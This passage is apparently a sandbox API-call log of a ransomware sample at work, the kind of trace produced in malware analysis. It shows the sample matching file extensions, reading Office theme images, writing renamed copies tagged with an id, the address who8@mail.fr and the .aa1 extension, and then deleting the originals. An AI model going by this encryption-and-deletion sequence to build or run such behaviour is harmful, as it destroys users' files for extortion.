(lpString=".1cd") returned 4 [0223.938] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.938] lstrlenW (lpString=".jpg") returned 4 [0223.938] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.152] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0224.152] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0224.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0224.152] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1423) returned 1 [0224.152] CloseHandle (hObject=0x188) returned 1 [0224.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0224.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0224.153] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.153] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0224.347] GetLastError () returned 0x0 [0224.347] ReadFile (in: hFile=0x188, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x58f, lpOverlapped=0x0) returned 1 [0224.350] WriteFile (in: hFile=0x220, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x590, lpOverlapped=0x0) returned 1 [0224.351] ReadFile (in: hFile=0x188, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.351] WriteFile (in: hFile=0x220, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.351] SetEndOfFile (hFile=0x220) returned 1 [0224.351] CloseHandle (hObject=0x220) returned 1 [0224.351] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.352] SetEndOfFile (hFile=0x188) returned 1 [0224.353] CloseHandle (hObject=0x188) returned 1 [0224.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.353] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0224.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.353] lstrlenW (lpString=".doc") returned 4 [0224.354] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.354] lstrlenW (lpString=".docx") returned 5 [0224.354] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.354] lstrlenW (lpString=".pdf") returned 4 [0224.354] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.354] lstrlenW (lpString=".xls") returned 4 [0224.354] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.354] lstrlenW (lpString=".xlsx") returned 5 [0224.354] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.354] lstrlenW (lpString=".ppt") returned 4 [0224.354] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.354] lstrlenW (lpString=".zip") returned 4 [0224.354] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.354] lstrlenW (lpString=".rar") returned 4 [0224.354] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.354] lstrlenW (lpString=".bz2") returned 4 [0224.354] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.354] lstrlenW (lpString=".7z") returned 3 [0224.354] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.354] lstrlenW (lpString=".dbf") returned 4 [0224.355] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.355] lstrlenW (lpString=".1cd") returned 4 [0224.355] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.355] lstrlenW (lpString=".jpg") returned 4 [0224.355] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.355] lstrlenW (lpString=".doc") returned 4 [0224.355] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.355] lstrlenW (lpString=".docx") returned 5 [0224.355] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.355] lstrlenW (lpString=".pdf") returned 4 [0224.355] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.355] lstrlenW (lpString=".xls") returned 4 [0224.355] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.355] lstrlenW (lpString=".xlsx") returned 5 [0224.355] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.355] lstrlenW (lpString=".ppt") returned 4 [0224.355] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.355] lstrlenW (lpString=".zip") returned 4 [0224.355] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.355] lstrlenW (lpString=".rar") returned 4 [0224.355] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.356] lstrlenW (lpString=".bz2") returned 4 [0224.356] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.356] lstrlenW (lpString=".7z") returned 3 [0224.356] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.356] lstrlenW (lpString=".dbf") returned 4 [0224.356] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.356] lstrlenW (lpString=".1cd") returned 4 [0224.356] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0224.356] lstrlenW (lpString=".jpg") returned 4 [0224.356] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.356] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0224.356] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0224.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0224.358] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1009) returned 1 [0224.358] CloseHandle (hObject=0x188) returned 1 [0224.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0224.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0224.358] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.358] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0224.361] GetLastError () returned 0x0 [0224.361] ReadFile (in: hFile=0x188, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0224.473] WriteFile (in: hFile=0x220, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x400, lpOverlapped=0x0) returned 1 [0224.474] ReadFile (in: hFile=0x188, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.474] WriteFile (in: hFile=0x220, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.474] SetEndOfFile (hFile=0x220) returned 1 [0224.474] CloseHandle (hObject=0x220) returned 1 [0224.474] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.474] SetEndOfFile (hFile=0x188) returned 1 [0224.475] CloseHandle (hObject=0x188) returned 1 [0224.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.475] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0224.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.476] lstrlenW (lpString=".doc") returned 4 [0224.476] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.476] lstrlenW (lpString=".docx") returned 5 [0224.476] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.476] lstrlenW (lpString=".pdf") returned 4 [0224.476] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.476] lstrlenW (lpString=".xls") returned 4 [0224.476] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.476] lstrlenW (lpString=".xlsx") returned 5 [0224.476] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.476] lstrlenW (lpString=".ppt") returned 4 [0224.476] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.476] lstrlenW (lpString=".zip") returned 4 [0224.476] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.476] lstrlenW (lpString=".rar") returned 4 [0224.476] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.476] lstrlenW (lpString=".bz2") returned 4 [0224.476] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.476] lstrlenW (lpString=".7z") returned 3 [0224.476] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.476] lstrlenW (lpString=".dbf") returned 4 [0224.477] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.477] lstrlenW (lpString=".1cd") returned 4 [0224.477] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.477] lstrlenW (lpString=".jpg") returned 4 [0224.477] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.477] lstrlenW (lpString=".doc") returned 4 [0224.477] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.477] lstrlenW (lpString=".docx") returned 5 [0224.477] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.477] lstrlenW (lpString=".pdf") returned 4 [0224.477] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.477] lstrlenW (lpString=".xls") returned 4 [0224.477] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.477] lstrlenW (lpString=".xlsx") returned 5 [0224.477] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.477] lstrlenW (lpString=".ppt") returned 4 [0224.477] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.477] lstrlenW (lpString=".zip") returned 4 [0224.477] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.477] lstrlenW (lpString=".rar") returned 4 [0224.477] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.477] lstrlenW (lpString=".bz2") returned 4 [0224.477] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.477] lstrlenW (lpString=".7z") returned 3 [0224.477] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.478] lstrlenW (lpString=".dbf") returned 4 [0224.478] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.478] lstrlenW (lpString=".1cd") returned 4 [0224.478] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0224.478] lstrlenW (lpString=".jpg") returned 4 [0224.478] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.478] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0224.478] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0224.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.691] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=21812) returned 1 [0224.691] CloseHandle (hObject=0x208) returned 1 [0224.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0224.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.692] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.692] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0224.696] GetLastError () returned 0x0 [0224.696] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x5534, lpOverlapped=0x0) returned 1 [0224.709] WriteFile (in: hFile=0x1fc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5540, lpOverlapped=0x0) returned 1 [0224.711] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.711] WriteFile (in: hFile=0x1fc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.711] SetEndOfFile (hFile=0x1fc) returned 1 [0224.712] CloseHandle (hObject=0x1fc) returned 1 [0224.713] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.713] SetEndOfFile (hFile=0x208) returned 1 [0224.714] CloseHandle (hObject=0x208) returned 1 [0224.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.714] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0224.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.714] lstrlenW (lpString=".doc") returned 4 [0224.714] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.714] lstrlenW (lpString=".docx") returned 5 [0224.715] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.715] lstrlenW (lpString=".pdf") returned 4 [0224.715] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.715] lstrlenW (lpString=".xls") returned 4 [0224.715] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.715] lstrlenW (lpString=".xlsx") returned 5 [0224.715] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.715] lstrlenW (lpString=".ppt") returned 4 [0224.715] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.715] lstrlenW (lpString=".zip") returned 4 [0224.715] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.715] lstrlenW (lpString=".rar") returned 4 [0224.715] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.715] lstrlenW (lpString=".bz2") returned 4 [0224.715] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.715] lstrlenW (lpString=".7z") returned 3 [0224.715] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.715] lstrlenW (lpString=".dbf") returned 4 [0224.715] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.715] lstrlenW (lpString=".1cd") returned 4 [0224.715] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.715] lstrlenW (lpString=".jpg") returned 4 [0224.715] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.716] lstrlenW (lpString=".doc") returned 4 [0224.716] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.716] lstrlenW (lpString=".docx") returned 5 [0224.716] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.716] lstrlenW (lpString=".pdf") returned 4 [0224.716] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.716] lstrlenW (lpString=".xls") returned 4 [0224.716] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.716] lstrlenW (lpString=".xlsx") returned 5 [0224.716] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.716] lstrlenW (lpString=".ppt") returned 4 [0224.716] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.716] lstrlenW (lpString=".zip") returned 4 [0224.716] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.716] lstrlenW (lpString=".rar") returned 4 [0224.716] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.716] lstrlenW (lpString=".bz2") returned 4 [0224.716] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.716] lstrlenW (lpString=".7z") returned 3 [0224.716] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.716] lstrlenW (lpString=".dbf") returned 4 [0224.716] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0224.717] lstrlenW (lpString=".1cd") returned 4 [0224.717] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 